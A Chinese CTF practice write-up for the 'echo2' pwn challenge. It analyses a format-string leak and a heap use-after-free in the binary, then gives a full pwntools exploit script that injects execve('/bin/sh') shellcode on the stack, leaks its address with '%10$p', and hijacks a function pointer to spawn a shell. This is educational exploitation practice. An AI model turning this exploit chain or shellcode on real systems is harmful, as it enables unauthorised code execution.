堆基础练习题 —— 1

题目地址:请看pwn栈溢出基础练习题——1 ;放了本博客的所有练习题目
fmtstr_uaf

目录

    • 题目分析
    • 解题思路
    • 全部代码

题目分析

堆基础练习题 —— 1_第1张图片
发现栈上基本没有什么保护,则很有可能有栈溢出漏洞和栈上执行shellcode漏洞
ida分析:
堆基础练习题 —— 1_第2张图片
红线1表示在栈中开辟了连续的三块空间,v7为起始地址
红线2表示在堆中开辟了0x28大小的空间
红线3表示在栈的v7起始地址中写入24字符数据,v7起始三地址一共24字节,未发生溢出
红线4中,查看地址可以发现,三处地址连续,则表示func起始的三个地址块中放入了echo1-3个函数地址
下面循环则表示输入1-4,并执行相应的操作,看提示表示2出存在字符串漏洞,3存在堆UAF漏洞
堆基础练习题 —— 1_第3张图片
红线5处函数将红线2处指针o申请的0x28大小空间释放掉,这里存在漏洞,后面会细致分析。
因此根据提示先进入echo2和echo3看下漏洞情况
echo2:
堆基础练习题 —— 1_第4张图片
先执行(o+3)处函数,即greeting函数,再输入字符串,再printf()输出,最后执行(o+4)bybye函数
明显这里存在字符串漏洞,因此可以利用此字符串泄露栈上任意地址内容
echo3:
堆基础练习题 —— 1_第5张图片
先执行(o+3)处函数,即greeting函数,再申请0x20空间,往空间中输入数据,puts()输出,最后执行(o+4)bybye函数
这里存在虽然free(s),但指针s并未被销毁,可因为s存在于echo3函数栈中,函数调用完成,s被销毁,因此这里s并不是堆的直接漏洞。
这时候就要分析了,最开始我们输入4选择退出时,o指向的地址空间(0x28)就被释放了,但程序会问我们是否真要退出,如果我们这是不退出,则o指针仍然存在,但o指向的地址空间被释放。此时o指向的地址空间再free chunk中,例如再fastbin中,此时我们在指向echo3函数,申请0x20空间,则被释放的0x28空间正好可以给0x20空间使用,则o和s其实指向了同一个空间,只是s只能操作0x20大小的数据而已,则我们可以通过此堆漏洞改变堆数据

解题思路

通过上述分析,我们可知s与o可以被指向同一个空间,并且在echo3中为s所指向空间的0x20大小输入数据,分析可知,0x20大小正好可以覆盖到(o+3),而(o+3)处正好为greeting函数地址,并且在echo2或者echo3时都会先调用(o+3)处地址的函数,则要是我们将(o+3)处地址改为shellcode函数地址,则可被引导直接去指向shellcode,则题目解析完成。那么只剩下一个问题shellcode如何构造,地址为多少??
分析程序可知,最最开始程序便让我们输入最多24字节的字符串存入到v7起始的地址中,那么我们可以将v7起始的地址空间直接写入24字节之内的shellcode,于是我们只需要找到v7地址即可,v7地址可以通过main函数的ebp-偏移量计算,通过ida或者调试可以知道v7偏移量为0x20,(最好看调试结果,ida有时候不靠谱)
堆基础练习题 —— 1_第6张图片
那么我们该如何知道main函数ebp地址呢,远程肯定开了地址随机化,因此不能通过调试ebp地址作为ebp真实地址
这时候echo2函数中的字符串格式化漏洞则可以解决这个问题,echo2中的格式化漏洞可以泄露地址空间中任意地址内容,而栈调用中可以知道子函数的pre ebp地址内容则为母函数的ebp,于是可以通过泄露pre ebp的内容得到main函数的ebp地址,并且通过偏移计算shellcode的真实地址,而由于这是64位,并通过上图可知pre ebp地址在6+4个参数位置,即10

全部代码

from pwn import *

p=process("./echo2")
elf=ELF("./echo2")
# 将shellcode写入栈中
p.recvuntil(b"hey, what's your name? : ")
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)

# 寻找shellcode真实地址
p.recvuntil(b"> ")
p.sendline(b"2")
payload=b"%10$p"+b"A"*3
p.sendline(payload)
p.recvuntil(b"0x")
shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20

# 先释放o指向堆空间
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit? (y/n)")
p.sendline(b"n")
# 利用UAF漏洞,执行shellcode
p.recvuntil(b"> ")
p.sendline(b"3")
# p.recvuntil(b"hello \n")
p.recv()
p.sendline(b"A"*24+p64(shellcode_addr))
p.interactive()

你可能感兴趣的:(CTF训练,PWN,Linux,安全,PWN,linux)